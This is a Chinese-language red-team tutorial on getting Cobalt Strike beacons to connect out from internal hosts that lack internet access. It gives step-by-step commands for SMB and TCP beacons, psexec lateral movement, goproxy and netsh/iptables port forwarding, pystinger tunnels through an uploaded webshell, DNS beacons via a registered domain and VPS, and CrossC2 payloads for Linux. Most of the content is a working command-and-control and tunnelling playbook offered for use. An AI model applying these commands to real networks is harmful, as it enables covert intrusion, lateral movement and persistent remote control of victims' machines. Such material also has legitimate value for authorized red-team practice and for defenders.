不出网上线CS的各种姿势
字数 1905 2025-08-06 21:48:45
不出网上线Cobalt Strike的各种姿势
0x01 存在一台中转机器的情况
当存在一台中转机器(边缘机器)可以出网,而内网机器都不出网时,可以通过以下方法上线CS:
上线方法一:SMB Beacon
介绍:
- 使用命名管道通过父级Beacon进行通讯
- 流量封装在SMB协议中,相对隐蔽
- 要求目标主机必须接受端口445上的连接
使用步骤:
- 在Listener生成SMB Beacon
- 在目标主机上右键 > spawn > 选中对应的Listener
- 或在Beacon中使用命令
spawn smb(smb为监听器名称)
连接管理:
- 使用
link <ip>命令连接SMB Beacon - 使用
unlink <ip>命令断开连接
上线方法二:中转listener(Reverse TCP Beacon)
使用步骤:
- 配置中转listener
- 使用psexec横向移动,选择中转listener
- 内网机器通过中转机器上线
上线方法三:HTTP代理
使用工具:goproxy项目(https://github.com/snail007/goproxy)
步骤:
- 上传proxy.exe到边缘主机,开启HTTP代理:
C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon - 使用netsh端口转发:
netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080 - 创建listener并配置
- 生成stageless payload在业务服务器执行
上线方法四:TCP Beacon(正向)
步骤:
- 生成TCP Beacon
- 使用该beacon生成stageless形式的木马
- 上传到目标机器运行
- 在中转机器的Beacon里使用
connect [ip address] [port]命令进行正向连接
销毁连接:使用unlink [ip address] [session PID]
上线方法五:使用pystinger进行代理转发
步骤:
- 上传proxy.php到WEB服务器网站目录
- 上传stinger_server.exe并执行:
start stinger_server.exe 0.0.0.0 - 攻击机上执行:
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000 - CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020
- 使用psexec横向移动或直接生成payload执行
0x02 边缘机器只有DNS协议出网
DNS上线CS
准备工作:
- 域名(如godaddy注册的yokan.xxx)
- VPS,开放UDP端口53
- Cobalt Strike 4.1
域名设置:
- 配置A记录指向VPS的IP
- 配置多个ns记录指向A记录对应的域名
- 停止VPS的53端口服务:
systemctl stop systemd-resolved
CS设置监听:
- 配置DNS监听器,使用ns记录的域名
上线:
- 生成stageless DNS beacon
- 执行后使用
checkin命令强制回连teamserver
0x03 边缘机器完全不出网
方法一:TCP Beacon正向连接
步骤:
- 攻击机先上线
- 生成TCP Beacon的stageless木马
- 上传到目标机器并运行
- 在攻击机的Beacon里使用
connect [ip address] [port]命令连接
方法二:使用pystinger(毒刺)工具
应用场景:存在web服务且已拿到webshell
原理:利用http协议将目标机器端口映射至CS服务端监听端口
使用步骤:
SOCK4代理
- 上传proxy.jsp到目标服务器
- 上传stinger_server.exe并执行:
start D:/XXX/stinger_server.exe - VPS执行:
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 - CS添加监听,端口为60020,beacons为127.0.0.1
- 生成payload上传执行
多主机上线
- 上传proxy.jsp
- 执行:
start D:/XXX/stinger_server.exe 192.168.3.11 - VPS执行客户端
- CS监听端口为60020,beacons为内网IP(如192.168.3.11)
- 生成payload执行
定制Header及proxy:
- 使用
--header参数配置请求头 - 使用
--proxy设置代理
补充:中转机器为Linux
HTTP代理
- 开启IP转发:
echo 1 >/proc/sys/net/ipv4/ip_forward - 配置iptables规则:
iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080 iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131 - 生成stageless payload执行
使用CrossC2上线Linux/MacOS
项目地址:https://github.com/gloxec/CrossC2
步骤:
- 创建https监听
- 生成payload
- 上传到Linux机器运行
- 安装CrossC2Kit插件增强功能
内网机器上线:
- 使用TCP Beacon生成木马上传执行
- 在Linux beacon下使用
connect命令连接
以上方法涵盖了各种不出网环境下上线Cobalt Strike的技术方案,包括有中转机器、仅DNS出网和完全不出网等情况,可根据实际环境选择合适的方法。